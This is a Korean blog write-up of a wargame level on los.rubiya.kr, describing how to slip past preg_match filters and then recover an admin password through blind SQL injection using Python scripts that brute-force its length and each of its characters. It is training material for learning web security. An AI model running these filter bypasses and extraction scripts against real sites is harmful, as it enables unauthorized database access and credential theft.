본문 바로가기
CTF_/los.rubiya.kr

[los.rubiya.kr] darkknight #12

by 낭람_ 2018. 8. 26.
반응형

[darkknight]




저번 문제에 비해 preg_match가 많아졌다.. pw에는 preg_match에 의해 싱글쿼터가 안되고

no에는 preg_match에 의해 싱글쿼터, substr, ascii, =이 안된다..

저번 문제처럼 =은 like, substr은 left로 우회를 하면 되고 문자열을 입력할때는 더블쿼터를 쓰면 될 것 같다.

?no="" or id like "admin" and length(pw) like 숫자 이런식으로 길이를 알아내고

?no="" or id like "admin" and left(pw,1) like "문자" 이런식으로 비밀번호를 알아내면 될것 같다.


import requests

for admin_len in range(99) :
URL='http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
query={'no': '"" or id like "admin" and length(pw) like '+str(admin_len)}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break

위의 python을 실행시키면 길이는 8이라는 것을 알 수 있다.


import requests

password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php'
query={'no': '"" or id like "admin" and left(pw,'+str(admin_len+1)+') like "'+password+chr(admin_pass)+'"'}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break


위의 python을 실행시키면 비밀번호는 '0b70ea1f'라는 것을 알 수 있다.

?pw=0b70ea1f를 입력하면 클리어!



반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] giant #14  (0) 2018.09.12
[los.rubiya.kr] bugbear #13  (0) 2018.08.28
[los.rubiya.kr] golem #11  (0) 2018.08.26
[los.rubiya.kr] skeleton #10  (0) 2018.08.26
[los.rubiya.kr] vampire #9  (0) 2018.08.26

댓글